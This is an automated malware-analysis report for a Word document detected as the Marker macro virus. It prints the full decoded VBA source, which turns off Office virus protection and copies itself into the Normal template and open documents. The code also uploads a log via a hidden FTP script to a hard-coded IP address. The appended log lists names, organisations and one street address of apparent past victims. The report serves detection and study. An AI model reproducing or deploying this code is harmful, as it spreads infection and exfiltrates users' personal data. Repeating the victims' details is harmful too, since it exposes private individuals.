Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 9efea7ffd6b88d4d…

MALICIOUS

Office (OLE) / .DOC

39.0 KB Created: 2009-10-22 16:11:00 First seen: 2026-06-21
MD5: bcd68eb949fb2210305cf28b23843fdf SHA-1: 667b7808fe433190ff3e3d1189ef1bebb9dc6657 SHA-256: 9efea7ffd6b88d4d4bb484966d753477635f619483ce7d566278b1ede031efb6
200 Risk Score

Heuristics 3

  • ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-31
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    'Switch the VirusProtection OFF
    Options.VirusProtection = False

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5531 bytes
SHA-256: f59d30876b3529e46143906e0c06f4ce9ecc3af160b7c9ff25743ad22a837208
Detection
ClamAV: Doc.Trojan.Marker-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
  
    If DocumentInfected = True Then
      LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    End If
    
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    
    For i = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next i
    LogFile = "C:\hsf" & LogFile & ".sys"
    
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    
    Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
    
  End If


'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
  'Infect the NormalTemplate
  If DocumentInfected = True Then
  
    SaveNormalTemplate = NormalTemplate.Saved
  
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

    
    'Write a log file of this NormalTemplate infection
    For i = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
        End If
      Else
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next i

    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                     Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
              "' " & Application.UserName & Chr(13) & _
              "' " & UserAddress & Chr(13)


    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    
    If SaveNormalTemplate = True Then NormalTemplate.Save
    
  End If


  'Infect the ActiveDocument
  If NormalTemplateInfected = True And _
     (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
     ActiveDocument.Saved = False) Then
  
    SaveDocument = ActiveDocument.Saved
    
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    
    If SaveDocument = True Then ActiveDocument.Save
      
  End If
  
    
End If

End Sub

' Logfile -->

' 09:08:36  - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'



' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'



' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'



' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'



' 11:16:41 AM - Wednesday, 23 Dec 1998
' BCBSA
'



' 01:30:35 PM - Wednesday, 30 Dec 1998
' BCBSA
'



' 01:36:45 PM - Monday, 4 Jan 1999
' Sue Rosinski
'



' 03:03:59 PM - Tuesday, 5 Jan 1999
' BCBSA
'



' 01:52:36 PM - Monday, 18 Jan 1999
' David W. Nelson
' Belden Enterprises, Inc.
' 1835 W. Roscoe St.
' Chicago, IL  60657



' 11:27:09 AM - Wednesday, 20 Jan 1999
' Tim Henthorn
'



' 05:09:47 PM - Friday, 22 Jan 1999
' Yasmin Choudhry
'



' 08:38:14 PM - Tuesday, 2 Feb 1999
' STIN
'



' 09:40:46 AM - Sunday, 7 Feb 1999
' Bryan Graves
'



' 09:47:28 AM - Tuesday, 16 Feb 1999
' Phyllis Crowell
'



' 09:10:43 AM - Thursday, 18 Feb 1999
' Bev
'



' 03:50:17 PM - Wednesday, 24 Feb 1999
' STIN_User
'



' 09:33:00  - Thursday, 4 Mar 1999
' Oriade
'



' 02:11:11  - Dienstag, 16 Mrz 1999
' Bernard Stauffer
'



' 11:20:11  - mercredi, 17 mars 1999
' SABRE
'



' 04:33:34  - mardi, 13 juil 1999
' C. Martin
'



' 03:16:58  - mardi, 21 sept 1999
' MY_01
'



' 01:52:20  - vendredi, 12 nov 1999
' V. Gegauff
'



' 08:21:11  - mardi, 23 nov 1999
' A.-F. Bischoff
'



' 05:10:46  - mardi, 21 nov 2000
' xxxX
'



' 06:45:52  - jeudi, 30 nov 2000
' Claude MEYLAN
'


' 11:01:44  - Freitag, 7 Sept 2001
' iMac
'



' 06:19:34  - Sonntag, 25 Aug 2002
' Marianne Grossniklaus
'


' 09:17:16  - Dienstag, 28 Okt 2003
' iMac
'


' 09:49:36  - Sonntag, 4 Apr 2004
' Steiner
'



' 01:53:09  - Montag, 13 Sept 2004
' Fredi Steiner
'


' 10:05:14  - Montag, 19 Mär 2007
' Alfred Steiner
'